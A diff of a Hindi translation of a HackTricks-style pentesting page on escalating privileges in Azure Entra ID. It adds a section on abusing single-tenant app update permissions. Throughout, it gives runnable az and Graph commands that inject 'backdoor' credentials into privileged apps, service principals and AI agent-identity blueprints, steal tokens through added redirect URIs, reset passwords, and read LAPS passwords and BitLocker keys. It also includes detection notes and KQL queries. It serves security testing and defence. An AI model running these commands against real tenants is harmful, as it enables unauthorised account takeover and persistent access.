diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 13174656e..39d1c1691 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> ध्यान दें कि **सभी granular permissions** जो built-in roles में Entra ID के अंदर होती हैं **custom roles** में उपयोग करने के लिए eligible नहीं हैं। +> ध्यान दें कि Entra ID में built-in roles के पास मौजूद **सभी granular permissions** custom roles में उपयोग के लिए **eligible नहीं** हैं। ## Roles ### Role: Privileged Role Administrator -इस role में आवश्यक granular permissions शामिल हैं ताकि principals को roles assign किए जा सकें और roles को अधिक permissions दी जा सकें। दोनों actions का abuse करके privileges escalate किए जा सकते हैं। +इस role में principals को roles assign करने और roles को और permissions देने के लिए आवश्यक granular permissions होती हैं। दोनों actions का abuse करके privileges escalate किए जा सकते हैं। - Assign role to a user: ```bash @@ -52,22 +52,53 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -यह एक attacker को मौजूदा applications में **credentials जोड़ने** (passwords या certificates) की अनुमति देता है। अगर application के पास privileged permissions हैं, तो attacker उस application के रूप में authenticate कर सकता है और वे privileges प्राप्त कर सकता है। +यह एक attacker को मौजूदा applications में **credentials** (passwords या certificates) **add** करने की अनुमति देता है। यदि application के पास privileged permissions हैं, तो attacker उस application के रूप में authenticate कर सकता है और उन privileges को gain कर सकता है। ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` +### `microsoft.directory/applications.myOrganization/allProperties/update` + +यह permission किसी भी **single-tenant** application registration (`signInAudience = AzureADMyOrg`) की **हर writable property** को update करने की अनुमति देता है, जिसमें `passwordCredentials` और `keyCredentials` शामिल हैं। कैटलॉग में इसे `IsPrivileged: true` के रूप में marked किया गया है, लेकिन यह किसी भी built-in role में **present नहीं** है — यह लगभग सिर्फ **custom roles** में दिखाई देता है जिन्हें कोई admin “manage our internal apps” delegate करने के लिए बनाता है, यह समझे बिना कि subtype `.myOrganization` वास्तव में action को ठीक उसी apps के set तक scope करता है जिनमें privileged Microsoft Graph permissions होने की सबसे अधिक संभावना होती है। + +- privileged Microsoft Graph permissions consented वाले apps enumerate करें: +```bash +# SPs with at least one Microsoft Graph app role assigned +GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv) +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \ +--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \ +-o table + +# Resolve a RoleId to the human-readable permission name +az ad sp show --id 00000003-0000-0000-c000-000000000000 \ +--query "appRoles[?id==''].value" -o tsv +``` +- पुष्टि करें कि target single-tenant है (`.myOrganization` subtype scope के अंदर): +```bash +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \ +--query "{audience:signInAudience, name:displayName}" +# audience must be "AzureADMyOrg" +``` +- target app में एक credential inject करें — chain में एकमात्र privileged step: +```bash +az rest --method POST \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \ +--headers "Content-Type=application/json" \ +--body '{"passwordCredential":{"displayName":"backdoor"}}' +``` ### `microsoft.directory/applications.myOrganization/credentials/update` -यह `applications/credentials/update` जैसी ही कार्रवाइयों की अनुमति देता है, लेकिन single-directory applications तक scoped है। +यह `applications/credentials/update` जैसी ही क्रियाएँ करने देता है, लेकिन single-directory applications तक scoped होता है. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -अपने आप को owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, जिसमें credentials और permissions शामिल हैं। +अपने आप को owner के रूप में जोड़कर, attacker application को manipulate कर सकता है, जिसमें credentials और permissions शामिल हैं. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,9 +108,9 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -एक attacker tenant के users द्वारा उपयोग की जा रही applications में एक redirect URI जोड़ सकता है और फिर उनके साथ ऐसे login URLs share कर सकता है जो नए redirect URL का use करते हैं, ताकि उनके tokens steal किए जा सकें। ध्यान दें कि अगर user पहले से application में logged in था, तो authentication automatic हो जाएगी और user को कुछ भी accept करने की जरूरत नहीं होगी। +एक attacker tenant के users द्वारा उपयोग किए जा रहे applications में एक redirect URI जोड़ सकता है और फिर उनके साथ ऐसे login URLs share कर सकता है जो नए redirect URL का उपयोग करते हैं, ताकि उनके tokens चुराए जा सकें। ध्यान दें कि यदि user पहले से ही application में logged in था, तो authentication automatic हो जाएगी और user को कुछ भी accept करने की आवश्यकता नहीं होगी। -ध्यान दें कि application द्वारा request की जाने वाली permissions को बदलकर और permissions प्राप्त करना भी possible है, लेकिन इस case में user को सभी permissions मांगने वाले prompt को फिर से accept करना होगा। +ध्यान दें कि application द्वारा requested permissions को बदलकर अधिक permissions प्राप्त करना भी संभव है, लेकिन इस case में user को सभी permissions मांगने वाले prompt को फिर से accept करना होगा। ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" @@ -88,13 +119,13 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac ``` ### Applications Privilege Escalation -**जैसा कि [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है**, default applications को ढूंढना बहुत आम था जिनके पास **API permissions** type **`Application`** assigned होती थीं। type **`Application`** की एक API Permission (जैसा कि Entra ID console में कहा जाता है) का मतलब है कि application API तक access कर सकती है और user context के बिना actions perform कर सकती है (app में user login के बिना), और इसके लिए Entra ID roles की भी जरूरत नहीं होती। इसलिए, हर Entra ID tenant में **high privileged applications** मिलना बहुत आम है। +**जैसा कि [इस post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है**, बहुत आम था ऐसे default applications ढूँढना जिनके पास **API permissions** type **`Application`** assigned होती थीं। Entra ID console में type **`Application`** वाली API Permission का मतलब है कि application API को access कर सकती है और user context के बिना actions perform कर सकती है (app में user login के बिना), और इसे allow करने के लिए Entra ID roles की जरूरत भी नहीं होती। इसलिए, **हर Entra ID tenant में high privileged applications** मिलना बहुत common है। -फिर, अगर किसी attacker के पास ऐसा कोई permission/role है जो application के **credentials (secret o certificate) को update** करने की अनुमति देता है, तो attacker एक नया credential बना सकता है और फिर उसका उपयोग करके **application के रूप में authenticate** कर सकता है, जिससे उसे application के सभी permissions मिल जाते हैं। +फिर, अगर attacker के पास ऐसा कोई permission/role है जो application की credentials (secret o certificate) को **update** करने देता है, तो attacker एक नया credential बना सकता है और फिर उसका उपयोग करके **application के रूप में authenticate** कर सकता है, जिससे उसे application के सभी permissions मिल जाते हैं। -ध्यान दें कि mentioned blog में common Microsoft default applications की कुछ **API permissions** share की गई थीं, लेकिन इस report के कुछ समय बाद Microsoft ने इस issue को fix कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। हालांकि, अभी भी **custom applications with high privileges that could be abused** ढूंढना संभव है। +ध्यान दें कि mentioned blog कुछ common Microsoft default applications की **API permissions** share करता है, लेकिन इस report के कुछ समय बाद Microsoft ने इस issue को fix कर दिया और अब Microsoft applications के रूप में login करना संभव नहीं है। हालांकि, अभी भी **high privileges वाली custom applications** ढूँढना संभव है जिन्हें abuse किया जा सकता है। -किस तरह किसी application की API permissions enumerate करें: +How to enumerate the API permissions of an application: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-सभी applications API permissions खोजें और Microsoft-owned APIs को mark करें +सभी applications API permissions खोजें और Microsoft-owned APIs को चिह्नित करें ```bash #!/usr/bin/env bash set -euo pipefail @@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -यह एक attacker को existing service principals में credentials जोड़ने की अनुमति देता है। अगर service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है. +यह एक attacker को existing service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है। ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> नया generated password web console में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है।\ -> API से इन्हें इस तरह पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> नया generated password web console में नहीं दिखेगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है।\ +> API से उन्हें इस तरह पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -अगर आपको error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` मिलता है, तो इसका कारण यह है कि **SP के passwordCredentials property को modify करना संभव नहीं है** और पहले आपको इसे unlock करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए जो आपको यह execute करने देती है: +अगर आपको error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` मिलता है, तो इसका कारण यह है कि **SP की passwordCredentials property को modify करना संभव नहीं है** और पहले आपको इसे unlock करना होगा। इसके लिए आपको एक permission (`microsoft.directory/applications/allProperties/update`) चाहिए, जो आपको यह execute करने देती है: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`) -**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities. +**Agent identity blueprints** application objects हैं और हर blueprint tenant में एक **agent identity blueprint principal** भी बनाता है। **Agent identities** उस blueprint path के service-principal-derived children होते हैं। इसलिए, अगर किसी attacker को blueprint में **password/certificate add** करने की क्षमता हो या उसने पहले से उसके किसी credential को steal कर लिया हो, तो वह बाद में **blueprint principal** के रूप में authenticate करके child agent identities के लिए tokens request कर सकता है। -This turns a bad Entra Agent ID role assignment into both: +इससे एक खराब Entra Agent ID role assignment दो चीज़ों में बदल जाता है: -- **Persistence**: नया `passwordCredential` blueprint पर तब तक रहता है जब तक उसे हटाया न जाए +- **Persistence**: नया `passwordCredential` remove होने तक blueprint पर बना रहता है - **Privilege escalation**: एक low-trust/dev agent किसी अलग high-trust blueprint में cross करके फिर उसके child agents की तरह act कर सकता है -Typical dangerous paths are: +Typical dangerous paths हैं: -- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`** -- A compromised owner/sponsor/admin able to manage the blueprint -- Theft of an existing blueprint secret/certificate +- एक compromised agent identity जिसके पास **`AgentIdentityBlueprint.AddRemoveCreds.All`** हो +- एक compromised owner/sponsor/admin जो blueprint manage कर सके +- किसी existing blueprint secret/certificate की theft -Target blueprint में एक नया secret जोड़ें: +Target blueprint में एक नया secret add करें: ```bash az rest --method POST \ --url "https://graph.microsoft.com/beta/applications//addPassword" \ @@ -280,7 +311,7 @@ az rest --method POST \ $params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } } Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params ``` -यदि नया credential स्वीकार कर लिया जाता है, तो **blueprint principal** के रूप में authenticate करें और Agent ID token exchange का abuse करें। पहला request blueprint credential का उपयोग करता है और **`fmi_path`** को target agent identity पर set करता है। फिर returned token को **JWT bearer `client_assertion`** के रूप में reuse किया जाता है ताकि उस agent identity के लिए Microsoft Graph token प्राप्त किया जा सके। +यदि नया credential स्वीकार किया जाता है, तो **blueprint principal** के रूप में authenticate करें और Agent ID token exchange का abuse करें। पहली request blueprint credential का उपयोग करती है और **`fmi_path`** को target agent identity पर set करती है। लौटाया गया token फिर **JWT bearer `client_assertion`** के रूप में reuse किया जाता है ताकि उस agent identity के लिए Microsoft Graph token obtain किया जा सके। ```bash curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ -H 'Content-Type: application/x-www-form-urlencoded' \ @@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ --data-urlencode 'scope=https://graph.microsoft.com/.default' ``` > [!CAUTION] -> यदि कोई **dev** blueprint या उसका child agent किसी **prod** blueprint में credentials जोड़ सकता है, तो attacker अपेक्षित blueprint/agent trust boundary को पार कर लेता है और target agent infrastructure तक durable access हासिल कर लेता है। +> यदि कोई **dev** blueprint या उसका child agent किसी **prod** blueprint में credentials जोड़ सकता है, तो attacker expected blueprint/agent trust boundary को पार कर जाता है और target agent infrastructure तक durable access प्राप्त कर लेता है। Quick validation / scoping: ```powershell @@ -317,26 +348,26 @@ Hunting notes: - [Az - Monitoring](../../az-services/az-monitoring.md) में **`Update application – Certificates and secrets management`** देखें - समय, service principal ID, user-agent, IP, और `SignInActivityId` / `UniqueTokenIdentifier` का उपयोग करके **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, और **`AADServicePrincipalSignInLogs`** को correlate करें -- `MicrosoftGraphActivityLogs` में, देखें कि `RequestUri` **`/applications//microsoft.graph.addPassword`** पर समाप्त होता है या नहीं, और क्या `Roles` में **`AgentIdentityBlueprint.AddRemoveCreds.All`** शामिल है -- `AADServicePrincipalSignInLogs` में, `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` की समीक्षा करें, और क्या नया key बाद में उपयोग किया गया था +- `MicrosoftGraphActivityLogs` में, **`/applications//microsoft.graph.addPassword`** पर समाप्त होने वाले `RequestUri` और `Roles` में **`AgentIdentityBlueprint.AddRemoveCreds.All`** होने की जांच करें +- `AADServicePrincipalSignInLogs` में, `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, और क्या नया key बाद में उपयोग हुआ, इसकी समीक्षा करें -नया जोड़ा गया secret authenticate हुआ या नहीं, यह देखने के लिए minimal KQL: +यह देखने के लिए minimal KQL कि नया add किया गया secret authenticate हुआ या नहीं: ```kusto AADServicePrincipalSignInLogs | where ServicePrincipalCredentialKeyId == "" | project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName ``` -यह generic [application credential abuse](../../az-services/az-azuread.md#applications) और [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) से संबंधित है, लेकिन Entra Agent ID एक दूसरा stage जोड़ता है, जहाँ blueprint credential को **different agent identity token** में exchange किया जा सकता है। +यह generic [application credential abuse](../../az-services/az-azuread.md#applications) और [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) से संबंधित है, लेकिन Entra Agent ID एक दूसरा stage जोड़ता है जहाँ blueprint credential को **different agent identity token** में exchange किया जा सकता है। ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -यह attacker को existing service principals में credentials जोड़ने की अनुमति देता है। अगर service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है। +यह attacker को existing service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है। ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -applications की तरह, यह permission service principal में और owners जोड़ने की अनुमति देती है। किसी service principal का owner होने से उसके credentials और permissions पर control मिलता है। +applications की तरह, यह permission एक service principal में और owners जोड़ने की अनुमति देती है। किसी service principal का owner होने से उसके credentials और permissions पर control मिलता है। ```bash # Add new owner spId="" @@ -354,13 +385,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की, लेकिन API ने जवाब दिया कि DELETE method supported नहीं था, भले ही owner को delete करने के लिए यही method इस्तेमाल करनी होती है। इसलिए आप **आजकल owners को remove नहीं कर सकते**। +> एक नया owner जोड़ने के बाद, मैंने उसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE method supported नहीं थी, हालांकि owner को delete करने के लिए यही method इस्तेमाल करनी होती है। इसलिए **अब आप owners को remove नहीं कर सकते**। ### `microsoft.directory/servicePrincipals/disable` and `enable` -ये permissions service principals को disable और enable करने की अनुमति देती हैं। एक attacker इस permission का उपयोग किसी ऐसे service principal को enable करने के लिए कर सकता है, जिस तक वह किसी तरह access हासिल कर सके, ताकि privileges escalate कर सके। +ये permissions service principals को disable और enable करने की अनुमति देती हैं। एक attacker इस permission का इस्तेमाल किसी ऐसे service principal को enable करने के लिए कर सकता है जिस तक वह somehow access हासिल कर सके, ताकि privilege escalation कर सके। -ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और permissions की आवश्यकता होगी। +ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और permissions की जरूरत होगी। ```bash # Disable az ad sp update --id --account-enabled false @@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -ये permissions single sign-on के लिए credentials बनाने और प्राप्त करने की अनुमति देती हैं, जिससे third-party applications तक access मिल सकता है। +ये permissions single sign-on के लिए credentials बनाने और प्राप्त करने की अनुमति देते हैं, जिससे third-party applications तक access मिल सकता है। ```bash # Generate SSO creds for a user or a group spID="" @@ -396,30 +427,30 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -यह permission privileged groups में users जोड़ने की अनुमति देता है, जिससे privilege escalation हो सकती है. +यह permission privileged groups में users जोड़ने की अनुमति देती है, जिससे privilege escalation हो सकती है. ```bash az ad group member add --group --member-id ``` -**नोट**: यह permission Entra ID role-assignable groups को exclude करती है। +**नोट**: यह permission Entra ID role-assignable groups को exclude करता है। ### `microsoft.directory/groups/owners/update` -यह permission groups का owner बनने की अनुमति देती है। किसी group का owner group membership और settings को control कर सकता है, जिससे potentially group तक privileges escalate हो सकती हैं। +यह permission groups का owner बनने की अनुमति देता है। किसी group का owner group membership और settings को control कर सकता है, जिससे potentially group तक privileges escalate हो सकते हैं। ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**नोट**: यह permission Entra ID role-assignable groups को exclude करती है। +**नोट**: यह permission Entra ID role-assignable groups को exclude करता है। ### `microsoft.directory/groups/members/update` -यह permission किसी group में members जोड़ने की अनुमति देती है। एक attacker खुद को या malicious accounts को privileged groups में जोड़ सकता है, जिससे elevated access मिल सकती है। +यह permission किसी group में members जोड़ने की अनुमति देता है। एक attacker खुद को या malicious accounts को privileged groups में जोड़ सकता है, जिससे elevated access मिल सकता है। ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -यह permission dynamic group में membership rule को update करने की अनुमति देता है। एक attacker dynamic rules को modify करके खुद को privileged groups में बिना explicit addition के शामिल कर सकता है। +यह permission dynamic group में membership rule को update करने की अनुमति देता है। एक attacker dynamic rules को modify करके खुद को privileged groups में शामिल कर सकता है, बिना explicit addition के। ```bash groupId="" az rest --method PATCH \ @@ -430,11 +461,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Note**: यह permission Entra ID role-assignable groups को exclude करती है। +**नोट**: यह permission Entra ID role-assignable groups को exclude करती है। ### Dynamic Groups Privesc -यूज़र्स के लिए अपनी properties modify करके dynamic groups के members के रूप में add होने और privileges escalate करने की संभावना हो सकती है। अधिक जानकारी के लिए देखें: +Users के लिए अपनी properties modify करके dynamic groups के members के रूप में add होने से privileges escalate करना संभव हो सकता है। अधिक जानकारी के लिए check करें: {{#ref}} dynamic-groups.md @@ -444,7 +475,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -यह permission non-admin users का password reset करने की अनुमति देती है, जिससे एक potential attacker अन्य users तक privileges escalate कर सकता है। यह permission custom roles को assign नहीं की जा सकती। +यह permission non-admin users के लिए password reset करने की अनुमति देती है, जिससे एक संभावित attacker अन्य users तक privileges escalate कर सकता है। यह permission custom roles को assign नहीं की जा सकती। ```bash # Update user password userId="" @@ -464,7 +495,7 @@ az rest --method PATCH \ ``` ### `microsoft.directory/users/basic/update` -यह privilege users के properties को modify करने की अनुमति देता है। Dynamic groups मिलना आम है जो properties values के आधार पर users को add करते हैं, इसलिए यह permission एक user को required property value set करने दे सकती है ताकि वह किसी specific dynamic group का member बन सके और privileges escalate कर सके। +यह privilege user के properties को modify करने की अनुमति देता है। आमतौर पर ऐसे dynamic groups मिलते हैं जो properties values के आधार पर users को add करते हैं, इसलिए यह permission किसी user को required property value set करने की अनुमति दे सकती है ताकि वह किसी specific dynamic group का member बन सके और privileges escalate कर सके. ```bash #e.g. change manager of a user victimUser="" @@ -482,7 +513,7 @@ az rest --method PATCH \ ``` ## Conditional Access Policies & MFA bypass -गलत कॉन्फ़िगर की गई conditional access policies जिनमें MFA की आवश्यकता होती है, bypass की जा सकती हैं, जांचें: +गलत तरीके से configured conditional access policies requiring MFA को bypass किया जा सकता है, check करें: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -यह permission attackers को devices के owners के रूप में खुद को assign करने की अनुमति देती है, ताकि वे control हासिल कर सकें या device-specific settings और data तक access पा सकें। +यह permission attackers को devices के owners के रूप में खुद को assign करने की अनुमति देता है ताकि वे control प्राप्त कर सकें या device-specific settings और data तक access पा सकें। ```bash deviceId="" userId="" @@ -503,7 +534,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -यह permission attackers को अपने account को devices के साथ associate करने की अनुमति देता है ताकि access gain किया जा सके या security policies को bypass किया जा सके. +यह permission attackers को अपने account को devices के साथ associate करने की अनुमति देता है, जिससे access प्राप्त किया जा सकता है या security policies को bypass किया जा सकता है। ```bash deviceId="" userId="" @@ -514,7 +545,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -यह permission attackers को Microsoft Entra joined devices के लिए backed up local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password शामिल है +यह permission attackers को Microsoft Entra joined devices के लिए backed up local administrator account credentials के properties read करने की अनुमति देती है, जिसमें password शामिल है ```bash # List deviceLocalCredentials az rest --method GET \ @@ -540,7 +571,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Other Interesting permissions (TODO) +## अन्य रोचक permissions (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` @@ -552,7 +583,7 @@ az rest --method GET \ ## References -- [Red Canary - Microsoft Entra Agent ID में संदिग्ध AI Workflows की जांच: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/) +- [Red Canary - Microsoft Entra Agent ID: Autonomous Agents में संदिग्ध AI Workflows की जांच](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/) - [Microsoft Learn - Microsoft Entra Agent ID में Agent identity blueprints](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint) - [Microsoft Learn - Autonomous agents के लिए authenticate करें और tokens प्राप्त करें](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)